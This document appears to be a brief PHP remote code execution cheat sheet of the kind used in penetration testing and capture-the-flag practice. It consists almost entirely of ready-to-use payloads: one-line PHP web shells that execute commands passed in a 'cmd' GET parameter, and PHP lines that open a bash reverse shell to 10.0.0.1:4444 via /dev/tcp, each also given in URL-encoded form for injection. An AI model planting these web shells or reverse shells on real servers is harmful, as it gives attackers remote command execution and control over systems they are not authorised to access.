# PHP RCE Cheat Sheet

### Web Shell <a href="#web-shell" id="web-shell"></a>

```shellscript
<?php system($_GET['cmd']);?>
<?php echo system($_GET['cmd']);?>
<%3fphp+system($_['cmd']);%3f>
<%3fphp+echo+system($_['cmd']);%3f>
```

We can access to `/?cmd=whoami`.

### Reverse Shell <a href="#reverse-shell" id="reverse-shell"></a>

```shellscript
<?php system('bash -i >& /dev/tcp/10.0.0.1/4444 0>&1');?>
<?php system('bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"');?>
<%3fphp+system('bash+-i+>%26+%2fdev%2ftcp%2f10.0.0.1%2f4444+0>%261');%3f>
<%3fphp+system('bash+-c+"bash+-i+>%26+%2fdev%2ftcp%2f10.0.0.1%2f4444+0>%261"');%3f>
```